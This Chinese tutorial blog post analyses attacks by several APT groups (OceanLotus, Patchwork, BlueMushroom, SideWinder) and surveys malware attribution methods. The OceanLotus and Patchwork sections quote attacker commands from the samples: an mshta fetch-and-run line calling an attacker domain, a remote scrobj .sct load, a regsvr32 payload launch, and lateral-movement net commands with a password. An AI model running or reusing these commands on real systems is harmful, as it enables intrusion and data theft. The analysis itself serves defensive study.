其他分享
首页 > 其他分享> > [系统安全] 三十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例

[系统安全] 三十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例

作者:互联网

您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文分享了Procmon软件基本用法及文件进程、注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。这篇文章将分享APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施。希望文章对您有所帮助。基础性文章,希望对您有所帮助~

在这里插入图片描述

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!

文章目录

作者的github资源:

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

前文分析:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


一.什么是APT攻击

APT攻击(Advanced Persistent Threat,高级持续性威胁)是利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。APT攻击也称为定向威胁攻击,指某组织对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。

360威胁情报中心结合2018年全年国内外各个安全研究机构、安全厂商披露的重大APT攻击事件,以及近几年来披露的高级持续性威胁活动信息,并基于这些重大APT攻击事件的危害程度、攻击频度、攻击技术等,评选出2018年全球十大APT攻击事件。参考:https://www.secrss.com/articles/7530

在这里插入图片描述


网络攻击追踪溯源旨在利用各种手段追踪网络攻击的发起者。相关技术提供了定位攻击源和攻击路径,针对性反制或抑制网络攻击,以及网络取证能力,其在网络安全领域具有非常重要的价值。当前,网络空间安全形势日益复杂,入侵者的攻击手段不断提升,其躲避追踪溯源的手段也日益先进,如匿名网络、网络跳板、暗网、网络隐蔽信道、隐写术等方法在网络攻击事件中大量使用,这些都给网络攻击行为的追踪溯源工作带来了巨大的技术挑战。

传统的恶意代码攻击溯源方法是通过单个组织的技术力量,获取局部的攻击相关信息,无法构建完整的攻击链条,一旦攻击链中断,往往会使得前期大量的溯源工作变得毫无价值。同时,面对可持续、高威胁、高复杂的大规模网络攻击,没有深入分析攻击组织之间的关系,缺乏利用深层次恶意代码的语义知识,后续学术界也提出了一些解决措施。

为了进一步震慑黑客组织与网络犯罪活动,目前学术界和产业界均展开了恶意代码溯源分析与研究工作。其基本思路是:

在这里插入图片描述


这里推荐作者的前一篇基础文章 “[系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析”,这篇文章将从案例的角度进行更深入的讲解,也感谢所有参考的安全大厂和大佬,正是因为有他们,我们国家的网络安全才有保障!


二.常见APT组织的攻击案例

1.海莲花(APT32)

海莲花(OceanLotus)是一个据称越南背景的APT组织,又称APT32、OceanLotus。该组织最早于2015年5月被天眼实验室所揭露并命名,其攻击活动最早可追溯到2012年4月,攻击目标包括中国海事机构、海域建设部门、科研院所和航运企业,后扩展到几乎所有重要的组织机构,并持续活跃至今。实际上,根据各安全厂商机构对该组织活动的拼图式揭露,海莲花团伙除针对中国发起攻击之外,其攻击所涉及的国家分布非常广泛,包括越南周边国家,如柬埔寨、泰国、老挝等,甚至包括越南的异见人士、媒体、地产公司、外资企业和银行。

在这里插入图片描述


在这里插入图片描述


下面简单讲解奇安信安全中心和腾讯电脑管家的分析案例。

奇安信安全中心和腾讯电脑管家都是国内最著名的安全团队之一,近年来也多次曝光了海莲花组织的攻击活动。其研究发现,该组织自发现以来,一直针对我国的ZF部门、国企等目标进行攻击活动,为近年来对我国大陆进行网络攻击活动最频繁的APT组织。从攻击的手法上看,该组织主要采用电子邮件投递诱饵的方式,包括攻击诱饵文档、Payload加载、绕过安全检测等技术,一旦获得一台机器的控制权后,立即对整个内网进行扫描和平移渗透攻击等。

同时,该组织针对不同的机器下发不同的恶意模块,使得即便恶意文件被安全厂商捕捉到,也因为无相关机器特征而无法解密最终的Payload,无法知晓后续的相关活动。活动钻石模型如下:

在这里插入图片描述



(1) 诱饵文档初始攻击
恶意文件投递的方式依然是最常用的鱼叉攻击的方式,钓鱼关键字包括干部培训、绩效、工作方向等,相关的邮件如下。此外,投递钓鱼邮件的账号有网易邮箱,包括126邮箱和163邮箱,账号样式为:名字拼音+数字@163(126).com,如:Sun**@126.com、reny**@163.com等。

在这里插入图片描述

2019年投递的恶意诱饵类型众多,包括白加黑、lnk、doc文档、带有WinRARACE(CVE-2018-20250)漏洞的压缩包等,之后的攻击中还新增了伪装为word图标的可执行文件、chm文件等。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述



(2) 恶意文件植入
恶意文件植入包括恶意lnk、使用rundll32加载恶意dll、带有宏的doc文档、白加黑、带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包等。

①恶意lnk分析
该组织会在所有投递的压缩包里存放一个恶意的lnk,但是所有的lnk文件都类似(执行的地址不同,但内容一致),lnk文件的图标伪装成word图标。值得注意的是,该lnk的图标会从网络获取,因此如果远程服务器已经关闭,会导致该lnk无图标的现象。此外,还会造成即便不双击lnk,只要打开lnk所在的目录,就会出现网络连接的现象。

该现象的原因是:Explorer解析lnk的时候会去解析图标,而这个lnk配置的图标在网络上,因此会自动去下载,但只是下载而不会执行,看一眼不运行lnk文件的话,会泄漏自身IP地址,但不会导致电脑中木马。

在这里插入图片描述

双击运行lnk后,会执行下列命令:

C:\Windows\SysWOW64\mshta.exe http://api.baidu-json.com/feed/news.html

其中, news.html实际为一个vbs脚本文件。mstha执行此脚本后会解密脚本中存储的内容,并存储到%temp%目录下,包括tmp、exe、log、env文件。

在这里插入图片描述

接着调用系统自带的odbcconf.exe,将7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp(dll文件)给加载起来。最后调用taskkill.exe,结束mshta.exe进程。

在这里插入图片描述


②带有宏的doc文档
带有宏的文档的投递是该组织比较常用的恶意诱饵,如推特上安全同仁曝光该组织的诱饵。

在这里插入图片描述

执行宏后,首先会复制原始文档到%temp%下,命名为随机名文件,然后解密出一个新的VBA宏。

在这里插入图片描述

接着将HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\AccessVBOM的注册表值设置为1。

在这里插入图片描述

打开之前复制的doc文件,并将原始VBA宏擦除,把解密后的新VBA宏添加进去,接着启动VBA宏函数x_N0th1ngH3r3。x_N0th1ngH3r3函数同样解密出一段新VBA宏,同样调用新VBA宏的x_N0th1ngH3r3函数。

在这里插入图片描述

解密出来的新VBA宏目的是将shellcode解密并加载执行。

在这里插入图片描述

Shellcode解密出一个DLL文件,并在内存中加载,执行DllEntry函数。DllEntry函数先会提取资源文件,并解密出来。

在这里插入图片描述

在这里插入图片描述

解密出来的内容包括最终rat和相关配置信息。

在这里插入图片描述

随后会将解密的rat在内存中展开,并且查找CreateInstance函数地址,然后将配置信息传入调用该函数。

在这里插入图片描述

配置的4个C&C使用https进行通信连接,其他的技术细节同文章同之前御见发布的海莲花的分析文章。


③白加黑
白加黑同样是该组织常用的诱饵类型,并且在实际攻击过程中,还多次使用。使用dll侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。其基本流程如下图所示:

在这里插入图片描述
其中所使用的宿主文件对包括:

在这里插入图片描述

如攻击首先使用了word的主程序为白文件,加载恶意文件wwlib.dll。

在这里插入图片描述

在这里插入图片描述

释放诱饵文档到临时目录并打开。

在这里插入图片描述

然后再次使用白加黑的技术,使用360se的主程序做为白文件,加载恶意的chrome_elf.dll。

在这里插入图片描述

chrome_elf.dll功能除了实现调用原始默认程序打开txt、doc文件外,还会连接网络下载下一阶段的恶意文件并在内存中直接执行。

注意:在进行恶意样本分析时,我们不要去访问这些恶意网站,撰写报告也建议增加隔离字符防止被访问。下载地址为:[https:]//officewps.net/cosja.png,其他的恶意样本下载地址如:[https:]//dominikmagoffin.com/subi.png,[https:]//ristineho.com/direct.jpg等。

在这里插入图片描述

下载的木马是一个直接可当作代码执行的shellcode,下载后直接在内存中执行。

在这里插入图片描述

shellcode的功能是解压解密出一个功能自加载的PE文件。

在这里插入图片描述
在这里插入图片描述

该PE文件是CobaltStrike木马,和之前海莲花组织使用的该木马完全一样。

在这里插入图片描述


④带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包
该压缩包解压后,会解压出有模糊图片处理的doc文档。除了解压出压缩的文件后,还会在启动目录释放一个自解压文件:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup

在这里插入图片描述

解压后会有一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件,然后执行命令regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx执行。

在这里插入图片描述

该ocx的技术细节同前面宏文档的内存dll的部分分析,此处就不再赘述。


⑤通过com技术执行
通过com技术,把某恶意dll注册为系统组建来执行:

在这里插入图片描述


⑥Chm内嵌脚本
Chm执行后,会提示执行ActiveX代码。

在这里插入图片描述

其脚本内容为:

在这里插入图片描述



(3) 下发文件分析及定制化后门
在攻击者攻陷机器后,攻击者还会持续对受控机进行攻击:会通过脚本释放新的与该机器绑定木马,此木马主要通过两种加载器(定制后门)实现只能在该机器上运行,加载器也是使用白加黑技术,如使用googleupdate.exe+goopdate.dll,此外的名字还包括如:

①加载器1分析
原理示意图如下:

在这里插入图片描述

木马执行后分配内存空间,拷贝shellcode到新申请的空间中执行,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload。

在这里插入图片描述

接着对playload进行校验,成功后创建新线程执行playload。

在这里插入图片描述

在这里插入图片描述


②加载器2分析
原理图如下:

在这里插入图片描述

加载器2是在加载器1的基础上增加了一层随机密钥的加密,更好地对抗安全软件的检测扫描,且通过挂钩API函数然乱木马执行流程来干扰自动化沙箱的分析。

首先在dll入口点处hook LdrLoadDll函数,当调用该API时接管执行流程执行解密代码,通过内置的随机密码解密shellcode,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload,并对playload进行校验,成功后创建新线程执行playload。

在这里插入图片描述

在这里插入图片描述

Shellcode行为同loader1解密出的shellcode一致。

在这里插入图片描述

最终的playload有三种,都是海莲花常用的木马,分别为CobaltStrike、Gh0st、Denis。

在这里插入图片描述



(4) 提权和横向移动
此外,还发现海莲花还会不断的对被攻击的内网进行横向移动,以此来渗透到更多的机器。利用nbt.exe扫描内网网段,其可能通过收集凭据信息或暴力破解内网网络共享的用户和密码,如:

C:\\WINDOWS\\system32\\cmd.exe/C nbt.exe 192.168.1.105/24

通过net user等相关命令查看或访问内网主机,如:

net user\\192.168.1.83\C#3 /U:192.168.1.183\Administrator 123456
NTLM hash

此外,在上段所述的加密的前缀中,我们还发现了一个ip:210.72.156.203做为加密前缀,我们从腾讯安图查询可见。

在这里插入图片描述

可以发现,能关联到nbtscan-1.0.35.exe和mmc.exe,同样跟内网渗透相关。渗透到内网机器后,攻击者还发下发bat和js脚本,来执行后续的操作。脚本名字如encode.js、360se.txt、360PluginUpdater.js、360DeepScanner.js、360Tray.js等。

如360PluginUpdater.bat+360PluginUpdater.js,360PluginUpdater.bat的功能是输出加密脚本到360PluginUpdater.dat,完成后将其重命名为360PluginUpdater.js,并执行。

在这里插入图片描述

360PluginUpdater.js是个加密的脚本。

在这里插入图片描述

通过一系列解密后最终通过eval执行解密后的脚本。

在这里插入图片描述

经过base64解密及范序列化后得到两个对象loader和playload,并在内存中调用loader的LoadShell方法。

loader的pdb为:E:\priv\framework\code\tools\exe2js\loader\obj\Release\loader.pdb,其功能是申请内存,解密加载执行playload:

在这里插入图片描述

payload PE头自带加载代码如下:

在这里插入图片描述

最终调用ReflectiveLoader实现内存加载dll。

在这里插入图片描述

最终为CobaltStrike攻击平台远控。

在这里插入图片描述


总结:海莲花组织是近年来针对我国的有关部门进行攻击的最活跃的APT组织之一,它总是在不断的进化,更新他的攻击手法和工具库,以达到绕过安全软件防御的目的。如不断的变换加载方式、混淆方法、多种多样的诱饵形式等,还使用新的Nday进行攻击,如该波攻击中的WinRAR ACE漏洞(CVE-2018-20250)。除了武器库的不断更新,该组织也相当熟悉中国的情况,包括政策、习惯等等,这也使得迷惑相关人员,是的攻击成功增加了成功率。除此,该组织的攻击范围也在不断的扩大,除了有关部门、海事机构、能源单位等外,研究机构所遭受的攻击也在不断的增多,而对个人的攻击,如教授、律师的钓鱼攻击也在不断的进行。因此我们提醒有关部门及有关机构的工作人员,切实提高国家安全意识,不要被网络钓鱼信息所蒙蔽,以免给国家安全造成重大损失。



2.摩诃草(APT-C-09)

APT-C-09是南亚印度背景的APT组织,又名摩诃草、白象、PatchWork、 hangOver、The Dropping Elephat、VICEROY TIGER。摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络攻击活动,其中以窃取重要信息为主。相关攻击活动最早可以追溯到2009年11月,至今还非常活跃。在针对中国地区的攻击中,该组织主要针对ZF机构、科研教育领域进行攻击,其中以科研教育领域为主。摩诃草组织最早由Norman安全公司于2013年曝光,随后又有其他安全厂商持续追踪并披露该组织的最新活动,但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击,相反从2015年开始更加活跃。

在这里插入图片描述



下面简单讲解Gcow安全团队的分析案例。

Gcow是当前国内为数不多的民间网络信息安全研究团队之一,其讨论氛围浓厚,研究范围广泛,令不少安全爱好者神往!Gcow安全团队追影小组于2019年11月底监测到了该组织一些针对我国医疗部门的活动。直至2020年2月初,摩诃草APT组织通过投递带有恶意宏文件的xls文件,以及使用带有诱饵文档通过点击下载托管于GitHub上的downloader样本,并应用于相应的钓鱼网站以获取QB等一系列活动。这对我国相关部门具有很大的危害,追影小组对其活动进行了跟踪与分析,写成报告供给各位看官更好的了解该组织的一些手法。

在这里插入图片描述



(1) 样本分析——诱饵文档“武汉旅行信息收集申请表.xlsm”
该诱饵文档托管于网址http://xxx.com/…B7%E8%A1%A8.xlsm,如下图所示,伪装成有关部门的文件。

在这里插入图片描述

这是一个含有宏的xlsm电子表格文件,利用社会工程学诱使目标“启用内容”来执行宏恶意代码。提取的宏代码如下:

在这里插入图片描述

当目标启用内容后就会执行Workbook_Open的恶意宏代码。

 DllInstall False, ByVal StrPtr(Sheet1.Range("X100").Value)

通过加载scrobj.dll,远程调用http://45.xxx.xxx.67/window.sct,这是利用Microsoft系统文件的LOLbin以绕过杀软的监测,达到远程执行代码。其中Sheet1.Range(“X100”).Value是小技巧,将Payload隐藏在Sheet1中,通过VBA获取下载地址,起到一定混淆保护的效果。

在这里插入图片描述


接着分析恶意sct文件(windows.sct)。
通过windows.sct下载到启动目录,并重名为Temp.exe,运行该程序如下图所示。

在这里插入图片描述

系统启动文件夹如下图:

在这里插入图片描述


最后是后门分析(msupdate.exe),文件信息如下。

在这里插入图片描述

在这里插入图片描述

其主要功能包括:

获取uuid通知主机上线:

在这里插入图片描述

通过http协议与服务器进行通讯,并获取相关指令。反向Cmd Shell相关代码如下:

在这里插入图片描述

文件上传相关代码:

在这里插入图片描述

文件下载相关代码:

在这里插入图片描述

屏幕快照相关代码:

在这里插入图片描述



(2) 样本分析——诱饵文档“卫生部指令.docx”
该文档托管于http://xxx.com/h_879834932/…87%E4%BB%A4.docx网址,诱使目标点击提交按钮,触发Shell.Explorer.1从Internet Explorer下载并运行submit_details.exe木马程序。

在这里插入图片描述

在这里插入图片描述

其功能主要包括:

在这里插入图片描述

在这里插入图片描述


总结:在这次活动中摩诃草组织为了增加其攻击活动的成功性,在诱饵文档中使用了某部门的名称和某部门的徽标以增加其可信性,同时在其托管载荷的网站上引用了nhc这个字符串。Gcow安全团队追影小组在此大胆推测,该组织使用鱼叉邮件的方式去投递含有恶意文档url的邮件。同时在这次活动中所出现的url上也存在“nhc”、“gxv”、“cxp”等字眼,这很大的反应出攻击者对中国元素的了解,社会工程学的使用灵活以及拥有一定的反侦查能力,这无疑是对我国网络安全的一次挑战,还请相关人士多多排查,培养员工安全意识也是重中之重的。



3.蓝宝菇(APT-C-12)

360公司在2018年7月5日首次对外公开了一个从2011年开始持续近8年针对我国行政机构、科研、金融、教育等重点单位和部门进行攻击的高级攻击组织蓝宝菇(APT-C-12),英文名BlueMushroom,该组织的活动在近年呈现非常活跃的状态。比如,通过向163邮箱发送鱼叉邮件,钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发邀请函。攻击者通过诱导攻击对象打开鱼叉邮件云附件中的LNK文件,一旦攻击对象被诱导打开LNK快捷方式文件,会执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的重要文件,并安装持久化后门程序长期监控用。

在这里插入图片描述




下面简单讲解360安全团队的分析案例。

(1) 鱼叉邮件及诱饵文档
360威胁情报中心确认多个政企机构的外部通信邮箱被投递了一份发自boaostaff[@]163.com的鱼叉邮件,钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发送了一封邀请函,如下图所示。

在这里插入图片描述

邮件附件被放到163的云附件里,此附件即为攻击者的恶意Payload,这是一个通过RAR打包的快捷方式样本。接下来我们对同一波攻击中的另一个完全相同功能的样本进行详细分析,以梳理整个攻击过程。附件内容如下:

在这里插入图片描述

一旦攻击对象被诱导打开该LNK快捷方式文件,LNK文件便会通过执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的重要文件,并安装持久化后门程序长期监控用户计算机。



(2) Dropper分析
附件压缩包内包含一个LNK文件,名字为《政法网络舆情》会员申请.lnk,查看LNK文件对应的目标如下:

在这里插入图片描述

可以看到目标中并没有任何可见字符,使用二进制分析工具查看LNK文件可以看到PowerShell相关的字符串,以及很多Unicode不可见字符。

在这里插入图片描述

通过分析LNK文件格式中几个比较重要的结构,完整还原出样本真实执行的恶意目标,其中涉及3个LNK文件格式的重要结构:LinkTargetIDList、COMMAND_LINE_ARGUMENTS和Environment Varable Data Block。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述



(3) Payload和PowerShell脚本分析
将LNK文件指向执行的PowerShell脚本解密,该PowerShell命名为ps_origin,代码如下,PowerShell脚本会定位执行LNK文件的最后一行。

在这里插入图片描述

文件最后一行经过Base64编码,解码后的数据为[压缩包+PowerShell脚本]的形式。

在这里插入图片描述

将最后的PowerShell脚本解密后如下,名称为ps_start。

ps_start: 被解密后的LNK文件最后一行PowerShell脚本中的ps_start会被首先执行,该PowerShell脚本主要用于解压出后续的压缩包,并继续运行其中的脚本。同时压缩包包含了相应的文件窃取模块,如下图所示脚本通过[convert]::frombase64string((gc $a|select -l 2|select -f 1))); 以Base64解密出对应的压缩包文件,之后使用Rundll32加载其中beoql.g后门文件(加载函数为DllRegister),同时将一段PowerShell脚本作为参数传入,该PowerShell命名为ps_loader。

在这里插入图片描述

压缩包解压后包含名为beoql.g的DLL后门、合法的Rar.exe压缩工具、以及真实呈现给用户的诱导DOC文档。

在这里插入图片描述

脚本会尝试访问以下3个IP地址,以确保C&C存活:

在这里插入图片描述

若确认C&C存活,则通过命令行收集系统的基本信息。

在这里插入图片描述

脚本获取基本信息后,再通过Rar.exe压缩为start.rar文件,之后使用RSA算法加密一个随机字符串e。最后脚本会遍历系统中指定的后缀文件(jpg, txt, eml, doc, xls, ppt, pdf, wps, wpp, 只获取180天以内的文件),继续使用Rar.exe压缩获取的指定文件,密码为之前生成的变量e。

在这里插入图片描述

函数pv9会将对应的RAR文件通过AWS S3 存储协议上传到一个网上的云服务商的地址:0123.nyc3.digitaloceanspaces.com,代码中包含的ACCESS_KEY和SECRET_KEY疑似亚马逊S3云服务存储协议所使用的相关KEY信息。

在这里插入图片描述

样本中使用该协议不过是添加一些跟服务端协商的请求头,请求头的value是用AWS s3 V4签名算法算出来的,通信流程由函数ul3和ig3完成,最终完成上传文件。ps_start中加载执行DLL后门后会从内置的三个IP地址中选择一个作为C&C,再次下载一段PowerShell,此处称之为ps_loader。

在这里插入图片描述

ps_loader: 首先生成用于请求的对应的us及Cookie字段,具体请求如下所示,可以看到返回的数据是一系列的十进制字符。

在这里插入图片描述

接着对返回数据进行简单的初始化后,通过函数sj8对数据进行解密,可以看到攻击者使用了whatthef**kareyoudoing这个极富外国色彩的调侃俚语作为秘钥。解码后的内容也是一段PowerShell,此处命名为ps_backdoor,ps_backdoor会调用其对应的函数ROAGC。

在这里插入图片描述

该脚本还支持CMD命令功能,除了Windows外,还支持Linux下的命令执行:

在这里插入图片描述



(4) 持久化分析
ps_start脚本会使用Rundll32.exe加载执行样本中解压出来的beoql.g后门文件,该DLL为一个实现恶意代码持久化加载的模块,用于加载ps_loader,并通过修改LNK文件来实现持久化,其导出的函数如下所示:

在这里插入图片描述

通过分析,DLL具体函数功能如下:

在这里插入图片描述

另外,ps_start中会直接调用该DLL的导出函数DllRegister,参数为对应的ps_loader脚本,函数首先会将ps_loader加密保存为beoql.g.ini,之后调用DllEntry和fun_Callinstall。

在这里插入图片描述

具体流程如下:

具体效果如下所示,LNK快捷方式文件被修改为通过Rundll32.exe调用该DLL的DllEntry函数,该函数的主要功能如前文所示用于运行对应的ps_loader脚本,通过劫持LNK快捷方式文件来起到持久化的作用。

在这里插入图片描述


总结:蓝宝菇组织的相关恶意代码中出现特有的字符串(Poison Ivy密码是:NuclearCrisis),结合该组织的攻击目标特点,360威胁情报中心将该组织的一系列攻击行动命名为核危机行动(Operation NuclearCrisis)。联想到核武器爆炸时的蘑菇云,360威胁情报中心结合该组织的其他特点,以及对APT组织的命名规则,将该组织名为蓝宝菇。威胁情报在攻防对抗中发挥着越来越重要的作用,威胁情报不是简单的从blog、twitter等公开渠道获得开源情报。从本次事件中可以看出,只有具备扎实的安全能力、建立强大的数据基础并对威胁情报涉及的采集、处理、分析、发布、反馈等一系列的环节进行较长时期的投入建设,才能获得基于威胁情报的检测、分析、响应、预警等关键的安全能力。



4.SideWinder(T-APT-04)

T-APT-04是国际知名的SideWinder“响尾蛇”组织,该南亚组织以窃取单位、能源、军事、矿产等领域的重要信息为主,此前已对巴基斯坦和东南亚各国发起过多次攻击,但近两起的APT攻击却频繁指向了中国,一起是伪装成国家部门向各国驻华使馆发送虚假邀请函;另一起是针对某科技有限公司驻外代表处的攻击事件,攻击者向该公司驻外代表处发送了虚假的安全和保M手册。据瑞星安全研究院分析,通过对攻击者使用的技术手法来看,断定与APT组织“响尾蛇”有着莫大的关系。

在这里插入图片描述



下面简单讲解瑞星团队发布至Freebuf的分析案例。

瑞星公司是中国互联网著名的安全公司,其瑞星杀毒软件也是国内外很有安全保障的杀毒软件之一,他们发布的文章或报告都非常有价值,大家也都应该不陌生。近日,瑞星安全研究院捕获到两起针对中国的APT攻击事件,一起是针对各国驻华大使馆,另一起是针对某科技有限公司驻外代表处。攻击者利用Office远程代码执行漏洞(cve-2017-11882)通过钓鱼邮件等方式发起APT攻击,一旦有用户打开钓鱼文档,电脑就会被攻击者远程控制,从而被盗取如电脑系统信息、安装程序、磁盘信息等重要数据资料,其目的以盗取我国重要数据、隐私信息及科研技术为主。攻击流程如下图所示:

在这里插入图片描述



(1) 钓鱼邮件分析
诱饵文档包括伪装成国家部门发往各国驻华使馆的邀请函、某科技有限公司驻外代表处的安全工作手册修订文档。两个诱饵文档均在末尾嵌入一个名为“包装程序外壳对象”的对象,对象属性指向%temp%目录中的1.a文件。所以,打开文档会在%temp%目录下释放由JaveScript脚本编写的1.a文件。

在这里插入图片描述

接着诱饵文档又利用漏洞CVE-2017-11882触发shellcode执行1.a。

在这里插入图片描述

Shellcode流程如下:
通过异或0×12解密出一个JavaScript脚本,该脚本的主要功能是执行%temp%目录下的1.a文件。JavaScript脚本密文如下图所示:

在这里插入图片描述

解密后的JavaScript脚本如下图所示:

在这里插入图片描述

ShellCode会将公式编辑器的命令行参数改成JavaScript脚本,利用RunHTMLApplication函数执行将该脚本执行起来。执行JavaScript如下图所示:

在这里插入图片描述



(2) 病毒分析

在这里插入图片描述


在这里插入图片描述

详细过程:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述



(3) PROPSYS.dll文件分析
使用DecodeData函数对V1nK38w.tmp进行解密,解密完后加载执行V1nK38w.tmp。

在这里插入图片描述

DecodeData解密函数如下图所示:

在这里插入图片描述



(4) V1nK38w.tmp文件分析
V1Nk38w.tmp主要是窃取大量信息和接收指令执行。其主要行为如下:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


总结:此次两起攻击事件时隔不长,攻击目标均指向我国的相关机构,攻击目的以获取机构重要信息为主,以便制定有针对性的下一步攻击方案。最近揭露的响尾蛇攻击对象大都指向巴基斯坦和东南亚各国,但这两起攻击事件目标直指中国,表明该组织攻击目标发生了变化,加大了对中国的攻击力度。国内相关机构和企业单位务必要引起高度重视,加强预防措施。



三.APT攻击溯源及案例

1.溯源常见方法

溯源意图除了溯源出编写恶意代码作者、恶意代码家族之外,还要挖掘出攻击者及攻击者背后的真正意图,从而遏制攻击者的进一步行动。360威胁情报中心将基于每个APT攻击事件的背景信息、攻击组织、相关TTPs(Tactics, Techniques and Procedures,战术、技术与步骤)进行描述及重大攻击事件溯源。在溯源过程中,越往上溯源越难,尤其是如何定位APT组织的人员。

在这里插入图片描述

恶意样本的追踪溯源需要以当前的恶意样本为中心,通过对静态特征和动态行为的分析,解决如下问题:

恶意样本追踪溯源可以采取如下方法:

在特征提取上,产业界更倾向于从代码结构、攻击链中提取相似性特征;在同源判定上,除了采用与已有的历史样本进行相似度聚类分析之外,产业界还会采用一些关联性分析方法。相比学术界溯源特征,产业界溯源特征更加详细全面,信息复杂度大。因此,学术界的同源判定方法并不能完全用于产业界各类特征的相似性分析中,常见产业界溯源方法分类如下表所示。

在这里插入图片描述

同时,简单补充下美国应急响应中心的溯源方法。

最后推荐att&ack网站,非常棒的一个APT组织分析网站。

在这里插入图片描述


PS:参考前文 [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析



2.基于机器学习和深度学习的APT溯源

学术界旨在采用静态或动态的方式获取恶意代码的特征信息,通过对恶意代码的特征学习,建立不同类别恶意代码的特征模型,通过计算待检测恶意代码针对不同特征类别的相似性度量,指导恶意代码的同源性判定。常见的恶意代码溯源主要包括4个阶段:特征提取、特征预处理、相似性计算、同源判定,各阶段间的流程关系如下图所示。

在这里插入图片描述

上图是将溯源对象Windows平台的PE恶意文件或Android平台的APK恶意文件输入溯源系统,经过特征提取、特征预处理、相似性计算、同源分析获取溯源结果,最终判定攻击家族或作者。

(1) 特征提取
特征提取是溯源分析过程的基础,具有同源性的恶意代码是通过它们的共有特征与其他代码区分开来的。所提取的特征既要反映出恶意代码的本质和具有同源性恶意代码之间的相似性,又要满足提取的有效性。

依据溯源目的,溯源特征提取包括溯源家族的特征提取和溯源作者的特征提取。Faruki等在字节码级别提取统计性强的序列特征,包括指令、操作码、字节码、API代码序列等。Perdisci R等通过n-gram提取字节码序列作为特征。Ki Y等提出了捕获运行过程中的API序列作为特征,利用生物基因序列检测工具ClustalX对API序列进行相似性分析,得到恶意代码的同源性判定。DNADroid使用PDG作为特征,DroidSim是一种基于组件的CFG来表示相似性代码特征,与早期的方法相比,该系统检测代码重用更准确。


(2) 特征预处理

特征提取过程中会遇到不具有代表性、不能量化的原始特征,特征预处理针对这一问题进行解决,以提取出适用于相似性计算的代表性特征。特征预处理一方面对初始特征进行预处理,另一方面为相似性计算提供基础数据。常见的特征类型包括序列特征和代码结构特征。

在这里插入图片描述


(3) 相似性计算

溯源旨在通过分析样本的同源性定位到家族或作者,样本的同源性可以通过分析代码相似性来获取。相似性计算旨在衡量恶意代码间相似度,具体为采用一种相似性模型对恶意代码的特征进行运算。根据预处理特征类型的不同以及溯源需求、效率、准确性等差异,采用不同的相似性运算方法。

目前比较流行的相似性计算方法主要集中在对集合、序列、向量、图等特征表现形式的处理。Qiao等基于集合计算相似性,在不同恶意样本API集合的相似性比较中采用了Jaccard系数方法,将为A、B两个集合的交集在并集中所占的比例作为相似度,比例值越大,证明越相似,如公式所示。

在这里插入图片描述

Faruki等提出了采用SDhash相似性散列技术构建样本的签名序列,并采用汉明距离法对序列进行相似性计算,从而识别同源性样本。Suarez-Tangil 等用数据挖掘算法中向量空间模型展示家族的恶意代码特征形式,将同家族提取出来的具有代表性的CFG元素作为特征中维度,采用余弦算法对不同家族的向量空间模型进行相似度计算,根据余弦值来判断它们的相似性,从而识别出相似性样本,进而归属到对应的家族。用于比较向量的余弦相似度反映了恶意代码间的相似性,其具体公式如公式所示。

在这里插入图片描述

